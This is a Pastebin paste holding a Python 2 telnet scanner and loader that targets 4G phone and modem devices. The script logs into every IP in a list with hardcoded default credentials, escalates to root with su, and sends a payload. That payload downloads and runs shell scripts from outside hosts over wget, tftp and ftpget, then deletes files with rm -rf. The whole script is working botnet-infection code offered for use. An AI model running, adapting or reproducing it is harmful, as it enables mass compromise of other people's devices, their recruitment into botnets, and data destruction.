Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Ya Phone Got Dropped ?
- #!/usr/bin/python
- import threading, sys, time, random, socket, re, os
- if len(sys.argv) < 2:
- print "Usage: python "+sys.argv[0]+" <list>"
- sys.exit()
- ips = open(sys.argv[1], "r").readlines()
- usernames = ["root", "admin", "root", "root"]
- passwords = ["oelinux123", "admin", "Zte521", "vizxv"]
- cmd = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/SSF.sh; chmod 777 bins.sh; sh SSF.sh; tftp 1.1.1.1 -c get tftp11.sh; chmod 777 tftp11.sh; sh tftp1.sh; tftp -r tftp22.sh -g 1.1.1.1; chmod 777 tftp22.sh; sh tftp22.sh; ftpget -v -u anonymous -p anonymous -P 21 104.131.21.101 ftp11.sh ftp11.sh; sh ftp11.sh; rm -rf SSF.sh tftp11.sh tftp22.sh ftp11.sh; rm -rf *"
- count = 0
- def readUntil(tn, string, timeout=15):
- buf = ''
- start_time = time.time()
- while time.time() - start_time < timeout:
- buf += tn.recv(1024)
- time.sleep(0.01)
- if string in buf: return buf
- raise Exception('ATTEMPTING')
- class hackify(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- try:
- tn = socket.socket()
- tn.settimeout(8)
- tn.connect((self.ip,23))
- except Exception:
- tn.close()
- try:
- hoho = ''
- hoho += readUntil(tn, ":")
- if "mdm9625" in hoho: #non-root
- r00t = 0
- username = usernames[1]
- password = passwords[1]
- tn.send(username + "\n")
- #print "[%s] sending non-root user"%(self.ip)
- elif "9615-cdp" in hoho: #root
- r00t = 1
- username = usernames[0]
- password = passwords[0]
- tn.send(username + "\n")
- #print "[%s] sending root user"%(self.ip)
- except Exception:
- tn.close()
- try:
- hoho = ''
- hoho += readUntil(tn, "Password:")
- if "assword" in hoho:
- tn.send(password + "\n")
- #if r00t: print "[%s] sending root password"%(self.ip)
- #if not r00t: print "[%s] sending non-root password"%(self.ip)
- time.sleep(3)
- except Exception:
- tn.close()
- try:
- mp = ''
- mp += tn.recv(1024)
- if "#" in mp or "$" in mp:
- if r00t: tn.send(cmd + "\n"); print "Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
- if not r00t: tn.send("su" + "\n"); readUntil(tn, "Password:"); tn.send(passwords[0] + "\n"); time.sleep(1); tn.send(cmd + "\n"); print "Payload runned succesfully %s!"%(self.ip); time.sleep(10); tn.close()
- except Exception:
- print "[%s] ATTEMPTING 4G PHONE"%(count)
- tn.close()
- print "Total IPs: %s\n"%(len(ips))
- for ip in ips:
- try:
- count += 1
- t = hackify(ip)
- t.start()
- time.sleep(0.01)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement